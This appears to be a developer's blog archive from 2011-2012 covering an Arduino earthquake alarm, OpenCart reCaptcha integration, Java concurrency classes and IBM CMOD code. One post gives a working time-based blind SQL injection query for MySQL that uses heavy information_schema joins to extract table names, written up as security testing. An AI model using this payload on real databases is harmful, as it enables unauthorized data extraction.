Advertisement

Sri Lanka's First and Only Platform for Luxury Houses and Apartment for Sale, Rent

Thursday, April 12, 2012

Low Cost Earth Quake Alarm using Arduino

Yesterday (11th of April 2012) was the first time I have ever experienced an Earth Quake in my life. It was strange because Sri Lanka is said to be a country less prone for Earth Quakes and there hasn't been one as violent as yesterday's one for at least 2 decades.

Even though most of the buildings were shaking along with the things inside for about 50 - 60 seconds, many people haven't noticed the shakes, may be due to the inexperience with Earth Quakes or due to confusion. But the most concerning thing is almost all Sri Lankan buildings are not Earth Quake safe like those in Japan. So feeling the Earth Quake and leaving the building as early as possible is crucial. Especially during night time where people will be sleeping.

For this reason I was inspired to create a Low Cost Earth Quake Alarm which will help those who can't feel an Earth Quake to get out in time and be safe.

I managed to build a small prototype using things lying around in my hack space which are;
  1. Arduino (Any Model)
  2. One Tilt Switch
  3. One Buzzer or Piezo Speaker
  4. One 1K Resistor
  5. 6 Jumper Cables
With the above components I built the below prototype


And used the following arduino sketch to detect changes in Tilt Switch which is connected to analog in pin A0 and if it exceeds a predefined threshold for a predefined period of time, alarm using the Piezo Speaker or Buzzer which is connected to pin no 10 which has PWM.

##############################
##     Shazin Sadakath      ##
##############################

#define TILT_SWITCH_PIN A0
#define BUZZER_PIN 10
#define MAX 100
int tiltValue = 0;
int previousTiltValue = 0;
int valueThreshold = 5;
int timeThreshold = 2 ;
int time = 0;

void setup() 
{
   pinMode(BUZZER_PIN, OUTPUT);
}

void loop() 
{
  tiltValue = analogRead(TILT_SWITCH_PIN);
  if(abs(tiltValue - previousTiltValue) >= valueThreshold)
  {
    time = time + 1;
  }
  else
  {
    reset();
  }
  if(time >= timeThreshold) 
  {
   analogWrite(BUZZER_PIN, MAX);
   delay(500);
   reset();
  }
  previousTiltValue = tiltValue;
  delay(500);
}

void reset() 
{
 time = 0;
 previousTiltValue = 0; 
 analogWrite(BUZZER_PIN, 0);
}

Finally I tested this with some minor shakes and it works. The alarm is going off until the shaking stops completely.



In Sri Lanka we can't buy off the shelf Commercial, Highly Accurate Earth Quake Detectors or Alarms yet so this prototype would be a life saver. Mounting this on a wall or on the roof where it is less like to be disturbed by people's movement and covering it in a box would make it less likely to produce false alarms.

Constructive Criticism is always welcome!

Saturday, April 7, 2012

reCaptcha Captcha in Open Cart Register Page

It has been quite a while since I posted anything on my blog. Recently I have been working on my small business web site and used opencart to create that web site. But by default Open Cart doesn't have a captcha for registering. Due to high no of bots available to create false accounts, it is a must to have captcha.

There is a post in Open Cart forum which shows how to enable opencart default captcha library in the registration page. But I wanted to use recaptcha which is much more hard to crack using image processing bots, has a built in audio playback and more importantly each time someone uses it in the back end they are helping to digitize scanned pages of books.

You need to register in recaptcha to get a public and private key for your domain name. After that you need to download the php library for recaptcha.

Step 1 :

Put the downloaded recaptchalib.php in /system directory

Step 2 :

Go to /catalog/view/theme/default or your custom theme folder /template/account/ and open register.tpl

Find the below code
    <h2><?php echo $text_newsletter; ?></h2>
        <div class="content">
          <table class="form">
            <tr>
              <td><?php echo $entry_newsletter; ?></td>
              <td><?php if ($newsletter == 1) { ?>
                <input type="radio" name="newsletter" value="1" checked="checked" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" />
                <?php echo $text_no; ?>
                <?php } else { ?>
                <input type="radio" name="newsletter" value="1" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" checked="checked" />
                <?php echo $text_no; ?>
                <?php } ?></td>
            </tr>
    </table>
    </div>


and put this below
<div class="content">
&nbsp;<span class="required">*</span>   <b><?php echo $entry_captcha; ?></b><br />
    <?php
          require_once('system/recaptchalib.php');
          $publickey = "<Your Public Key>"; // you got this from the signup page
          echo recaptcha_get_html($publickey);
        ?>

    <span class="error"><?php echo $error_captcha; ?></span>
</div>


Step 3 :

Go to catalog/language/english/account.register.php and find this line
$_['entry_confirm']        = 'Password Confirm:';


and put this below
$_['entry_captcha']        = 'Enter the code in the box below:';


and find this line
$_['error_agree']          = 'Warning: You must agree to the %s!';


and put this below
$_['error_captcha']        = 'The captcha code was entered incorrectly, please try again!';


Step 4 :

Go to catalog/controller/account/register.php and find this line
$this->data['button_continue'] = $this->language->get('button_continue');


and put this line below
$this->data['entry_captcha'] = $this->language->get('entry_captcha');


find this line
if (isset($this->error['zone'])) {
    $this->data['error_zone'] = $this->error['zone'];
} else {
    $this->data['error_zone'] = '';
}


and put this below
if (isset($this->error['captcha'])) {
    $this->data['error_captcha'] = $this->error['captcha'];
} else {
    $this->data['error_captcha'] = '';
}


find this line
if (isset($this->request->post['newsletter'])) {
    $this->data['newsletter'] = $this->request->post['newsletter'];
} else {
    $this->data['newsletter'] = '';
}


and put this below
if (isset($this->request->post['captcha'])) {
    $this->data['captcha'] = $this->request->post['captcha'];
} else {
    $this->data['captcha'] = '';
}


find this line
private function validate() {
if ((strlen(utf8_decode($this->request->post['firstname'])) < 1) || (strlen(utf8_decode($this->request->post['firstname'])) > 32)) {
    $this->error['firstname'] = $this->language->get('error_firstname');
}


and put this below
require_once('system/recaptchalib.php');
$privatekey = "<Private Key>";
$resp = recaptcha_check_answer ($privatekey,
                      $_SERVER["REMOTE_ADDR"],
                      $_POST["recaptcha_challenge_field"],
                      $_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
    this->error['captcha'] = $this->language->get('error_captcha');
}


That's it. Now you should see the recaptcha captcha in your registration page!

Friday, February 10, 2012

Time Based SQL Injection using heavy queries in MySQL

During my work I had to test Time Based SQL Injection in MySQL. But many blogs showcased ways to achieve this using SLEEP() and BENCHMARK() routines. SLEEP() routine is not available in MySQL 4.0 so the correct routine should be used based on the MySQL version.

There is another approach for Time Based SQL Injection which is Time Based SQL Injection using heavy queries. This is used for Databases which do not have timing routines such Oracle.

But to test effectively both 4.0 and 5.0 versions of MySQL I had to write a Time Based SQL Injection using heavy queries. After some googling and reading articles I came up with the following query which produces a half a second delay.

SELECT * FROM <ANY TABLE NAME> WHERE 1=1 AND
(SELECT COUNT(*)
 FROM information_schema.columns AS col1
 NATURAL JOIN information_schema.columns AS col2,
information_schema.columns AS col3,
 information_schema.columns AS col4,
 information_schema.columns AS col5,
 information_schema.columns AS col6,
 information_schema.columns AS col7,
 information_schema.columns AS col8,
information_schema.columns AS col9,
information_schema.columns AS col10)=0
AND 300>
(SELECT ASCII(SUBSTRING(table_name,1,1))
 FROM information_schema.columns
 ORDER BY table_name
 LIMIT 1);

This was tested on MySQL 5.0 with information_schema.columns table containing 346 rows.

Monday, January 30, 2012

Thread Safe Blocking List

In Java Concurrent Package there are many useful concurrent synchronizer classes such as BlockingQueue, Semaphore, CountDownLatch and CyclicBarrier. But what if we want an bounded List with insertion order preserved where if the upper limit of the List is met new insertions must be blocked until some elements are removed. The following BlockingList implementation does exactly that. This List uses a Semaphore to synchronize the flow of adding and removing. When the maximum amount of elements are in the List and another call to add is made, the add will be blocked until an element is removed from the List.
import java.util.*;
import java.util.concurrent.*;

/**
 * @author Shazin Sadakath
 *
 */

public class BlockingList<T> {
    private final Semaphore semaphore;
    private final List<T> list = Collections.synchronizedList(new ArrayList<T>());

    public BlockingList(int max) {
        semaphore = new Semaphore(max);        
    }    

    public boolean add(T t) throws InterruptedException {
        semaphore.acquire();
        boolean result = false;
        try {
            result = list.add(t);
        } finally {
            if(!result) {
                semaphore.release();
            }
        }
        return result;
    }

    public T remove(int index) {
        T result = null;
        try {
            result = list.remove(index);
        } finally {
            if(result != null) {
                semaphore.release();
            }
        }
        return result;
    }

    public T get(int index) {
        return list.get(index);
    }

    public int indexOf(T t) {
        return list.indexOf(t);
    }

    public T removeIfPresent(T t) {
        T result = null;
        synchronized(list) {
            if(list.contains(t)) {
                result = remove(indexOf(t));
            }
        }
        return result;
    }

    public boolean putIfAbsent(T t) throws InterruptedException {
        boolean result = false;
        synchronized(list) {
            if(!list.contains(t) && semaphore.availablePermits() != 0) {
                result = add(t);
            }
        }    
        return result;
    }
}

Wednesday, January 18, 2012

IBM CMOD Folder Field Default Value Retrieval Using ODWEK API

IBM Content Manager on Demand (CMOD) is a Enterprise Content Management system which enables to archive resource files and retrieve them whenever required. It has two different methods to access the resources.

  1. A Set of Executable Files (.EXE or .OUT) which can be used to manage the resources.
  2. On Demand Web Enable Kit (ODWEK) which is an API which can be used by any external application.
ODWEK is used by IBM Webi (Web Interface of CMOD) to manage the resources.

As part of my work I had to retrieve Default values of Fields specified in each Application Group in their respective Folder so that any external application can make use of the Default Values.

After some googling and trial and error I found out that it can be done using the ODCriteria.getSearchValues() method which would return a String array of Default values per field. The following code does the required.

import java.util.Enumeration;

import com.ibm.edms.od.ODConfig;
import com.ibm.edms.od.ODCriteria;
import com.ibm.edms.od.ODFolder;
import com.ibm.edms.od.ODServer;
/**
 * ODWEK Testing Class
 * 
 * @author Shazin Sadakath
 *
 */
public class ODWEKTest {
    
    
    public static void main(String[] args) {
        ODConfig odConfig = new ODConfig();        
        ODServer server = new ODServer(odConfig);
        server.setUserId("administrator");
        server.setPassword("1234567");
        server.setPort(12238);
        server.setServerName("localhost");
        
        try {
            server.initialize("ODPing");        
            server.logon();
            Enumeration<ODFolder> folders = server.getFolders(); 
            if(folders != null) {
                while(folders.hasMoreElements()) {
                    ODFolder folder = folders.nextElement();
                    try {
                        folder.open();
                    } catch(Exception e) {
                        continue;
                    }
                    System.out.println("Folder : "+folder.getName());
                    Enumeration<ODCriteria> fields = folder.getCriteria();
                    while(fields.hasMoreElements()) {
                        ODCriteria field = fields.nextElement();
                        System.out.println("\tField : "+field.getName());
                        String[] fixedValues = field.getSearchValues();                        
                        if(fixedValues != null) {
                            for(String dv:fixedValues) {
                                System.out.println("\t\tDefault Value : "+dv);
                            }
                        }
                    }
                    folder.close();
                }
            }
        } catch(Exception e) {
            e.printStackTrace();
        } finally {
            try {
                server.logoff();
            } catch (Exception e) {                
                e.printStackTrace();
            }
            server.terminate();
        }
    }
}

ODApi.jar is required and java.library.path VM Argument must be set to point to the ODWEK Installation Directory in order to load required Libraries

Thursday, December 22, 2011

Batch File to Make Copies of a File in a Loop

During my work time I had to create a batch of files from a single file so that those can be used to load test a system. I wrote small batch file which does the job

SET /p NOOFFILES="No Of Files : "
SET I=0
SET COPYCMD=/Y
:Start
CP ./File.zip ./File-%I%.zip
SET /a I+=1
IF %NOOFFILES% == %I% (
    GOTO End
) ELSE ( 
    GOTO Start
)
:End
The script first prompts for the no of files which needs to be created and then creates those files.

Friday, December 2, 2011

A Comparison of CountDownLatch, CyclicBarrier and Semaphore

Recently I have been developing some applications with multithreading using java. And I wanted to use waiting of all Child Threads to finish in order to continue on with the Parent thread. I did some research and found out that from Java 1.5 onwards there have been some classes introduced within java.util.concurrent package where the scenario I am trying to create can be. the classes are;

  • CountDownLatch
  • CyclicBarrier
  • Semaphore
CountDownLatch and CyclicBarrier on the first look seems to do the same task and I read some blogs where they have tried to explain the difference of the two. Most common differences many were saying were;
  1. CountDownLatch can not be reused after meeting the final count.
  2. CountDownLatch can not be used to wait for Parallel Threads to finish.
  3. CyclicBarrier can be reset thus reused
  4. CyclicBarrier can be used to wait for Parallel Threads to finish.
From these explanation the picture I got was this;

If a Main thread creates 5 different thread. CountDownLatch can be used by the Main Thread to wait on the Child Threads. Where as CyclicBarrier can be used to enable waiting on Threads until each other finish.
Thus CountDownLatch is a top down waiting where as CyclicBarrier is across waiting.

But this wasn't convincing enough for me because no blog clearly explained the practical usage of the two classes. Furthermore there weren't not much talk about the powerful Semaphore class in those either. So I did some testing on that too and this is what I found out.

I try to explain the Theoretical as well as Practical use of the 3 classes. Ok here goes.

CountDownLatch can be used to monitor the completion of the Children Threads if the size of the created children is known forehand. CountDownLatch enables a Thread or Threads to wait for completion of Children Threads. But there is no waiting amongst the Children until they finish each others tasks. Children may execute asynchronously and after their work is done will exit making a countdown.

Practical Example : Main thread creates 10 Database Connections and Creates 10 different Threads and assigns those DB connection to the threads one each. But the Main thread must wait until all 10 Threads finish their DB Operation before closing the DB Connections. Children will exit after performing the DB Operation. A CountDownLatch can be used in this scenario.




import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
 * @author Shazin Sadakath
 *
 */
public class CountDownLatchTest {
    private static final int MAX_THREADS = 5;

    public static void main(String[] args) throws Exception {
        CountDownLatch countDownLatch = new CountDownLatch(MAX_THREADS);
    
        System.out.println("Spawning Threads");
        for(int i=0;i<MAX_THREADS;i++) {
            Thread t = new Thread(new WorkerThread(countDownLatch, String.format("Thread-%d", i)));
            t.start();
        }
        System.out.println("Spawning Finished");
        System.out.println("Waiting All Threads to Finish");
        countDownLatch.await(); // Await is void
        System.out.println("All Threads are Finished");
    }
    
    private static class WorkerThread implements Runnable {
        private CountDownLatch countDownLatch;
        
        private String name;
        
        public WorkerThread(CountDownLatch countDownLatch, String name) {
            this.name = name;
            this.countDownLatch = countDownLatch;
        }
        
        public void run() {
            try {
                SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");                
                System.out.printf("%s : Doing Some Work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Doing Some more work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Finished work on %s\n", getFormattedDate(sdf), name);
                countDownLatch.countDown(); 
                System.out.printf("%s : Count Down Latch count on %s is %d\n", getFormattedDate(sdf), name, countDownLatch.getCount());
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
        
        private String getFormattedDate(SimpleDateFormat sdf) {
            return sdf.format(new Date());
        }
        
        private int getRandomWaitTime() {
            return (int) ((Math.random() + 1) * 1000);
        }
        
    }
}

CyclicBarrier can be used to create a set of Children Threads if the size of the Threads created is known forehand. CyclicBarrier can be used to implement waiting amongst Children Threads until all of them finish. This is useful where parallel threads needs to perform a job which requires sequential execution. For example 10 Threads doing steps 1, 2, 3, but all 10 Threads should finish step one before any can do step 2. Cyclic barrier can be reset after all Threads are finished execution. This is a distinguishing feature from a CountDownLatch. A CountDownLatch can only be used for a single count down. Additionally a CyclicBarrier can be assigned an Additional Thread which executes each time all the Children Threads finish their respective tasks.

Practical Example : Processing of a Image Pixels Matrix row by row in the first step and in the second step saving the Pixel values to file row by row. In this scenario if there are 10 Threads running simultaneously to process the matrix row by row then all 10 should wait until all are finished before they move on to the next step which is saving those rows to file.


import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
 * @author Shazin Sadakath
 *
 */
public class CyclicBarrierTest {
    private static final int MAX_THREADS = 5;

    public static void main(String[] args) {
        CyclicBarrier cyclicBarrier = new CyclicBarrier(MAX_THREADS, new Runnable() {
            private int count = 1;
        
            public void run() {
                System.out.printf("Cyclic Barrier Finished %d\n", count++);
            }
        });
    
        System.out.println("Spawning Threads");
        for(int i=0;i<MAX_THREADS;i++) {
            Thread t = new Thread(new WorkerThread(cyclicBarrier, String.format("Thread-%d", i)));
            t.start();
        }
        System.out.println("Spawning Finished");
    }
    
    private static class WorkerThread implements Runnable {
        private CyclicBarrier cyclicBarrier;
        
        private String name;
        
        public WorkerThread(CyclicBarrier cyclicBarrier, String name) {
            this.name = name;
            this.cyclicBarrier = cyclicBarrier;
        }
        
        public void run() {
            try {
                SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");                
                System.out.printf("%s : Doing Step 1 Work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Doing Step 1 more work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Finished Step 1 work on %s\n", getFormattedDate(sdf), name);
                int count = cyclicBarrier.await(); // Await returns an int which is the arrival index 1 means first 0 means last
                System.out.printf("%s : Cyclic Barrier count on %s is %d\n", getFormattedDate(sdf), name, count);
                if(count == 0) {
                    cyclicBarrier.reset();
                }
                System.out.printf("%s : Doing Step 2 Batch of Work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Doing Some more Step 2 Batch of work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Finished Step 2 Batch of work on %s\n", getFormattedDate(sdf), name);
                count = cyclicBarrier.await();
                System.out.printf("%s : Cyclic Barrier count end of Step 2 Batch of work on %s is %d\n", getFormattedDate(sdf), name, count);
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
        
        private String getFormattedDate(SimpleDateFormat sdf) {
            return sdf.format(new Date());
        }
        
        private int getRandomWaitTime() {
            return (int) ((Math.random() + 1) * 1000);
        }
        
    }
}



Semaphore can be used to create a set of Children Threads even when the size of the Threads to be created is not known fore hand. This is because a Semaphore can wait until a number of releases have been made but that number is not required to initialize the Semaphore. Semaphores can be used in other scenarios such as Synchronizing between different threads such as Publisher, Subscriber scenario.

Practical Example : Traversing through a folder with sub folders within sub folders and if  JPEG files are found, move them to a destination directory and then zip them. In this scenario the folder traversing is done recursively until a JPEG file is found. And then a Thread is invoked to move it to destination directory. But zipping needs to wait until all JPEG files are moved to the destination directory. In this scenario no of JPEG files available in the folder structure is not known but the zipping needs to wait till all files are successfully moved. Ideal scenario for a Semaphore based waiting.

import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
 * @author Shazin Sadakath
 *
 */
public class SemaphoreTest {
    private static final int MAX_THREADS = 5;

    public static void main(String[] args) throws Exception {
        Semaphore semaphore = new Semaphore(0);

        System.out.println("Spawning Threads");
        int threadCount = 0;
        Random random = new Random();
        for(int i=0;i<MAX_THREADS;i++) {
            // Threads created will not always be MAX_THREADS
            // Because Threads are created only if Random no is Even.
            // Thus the No of Threads unknown at Semaphore Initialization
            if(random.nextInt(9999) % 2 == 0) {
                Thread t = new Thread(new WorkerThread(semaphore, String.format("Thread-%d", i)));
                t.start();
                threadCount++;
            }
        }
        System.out.println("Spawning Finished");
        System.out.println("Waiting All Threads to Finish");
        semaphore.acquire(threadCount); 
        System.out.println("All Threads are Finished");
    }
    
    private static class WorkerThread implements Runnable {
        private Semaphore semaphore;
        
        private String name;
        
        public WorkerThread(Semaphore semaphore, String name) {
            this.name = name;
            this.semaphore = semaphore;
        }
        
        public void run() {
            try {                
                SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");                
                System.out.printf("%s : Doing Some Work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Doing Some more work on %s\n", getFormattedDate(sdf), name);
                Thread.sleep(getRandomWaitTime());
                System.out.printf("%s : Finished work on %s\n", getFormattedDate(sdf), name);
                semaphore.release();                
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
        
        private String getFormattedDate(SimpleDateFormat sdf) {
            return sdf.format(new Date());
        }
        
        private int getRandomWaitTime() {
            return (int) ((Math.random() + 1) * 1000);
        }
        
    }
}
In conclusion, Each task has its separate unique use and it is Software Engineer's responsibility to understand which one is more suitable for the scenario they have to solve. In my case however CountDownLatch was the ideal one and I used it with pretty much success. It is advised to use these classes instead of trying to implement similar behavior on our own because they are developed and tested by Sun Microsystems expert Engineers.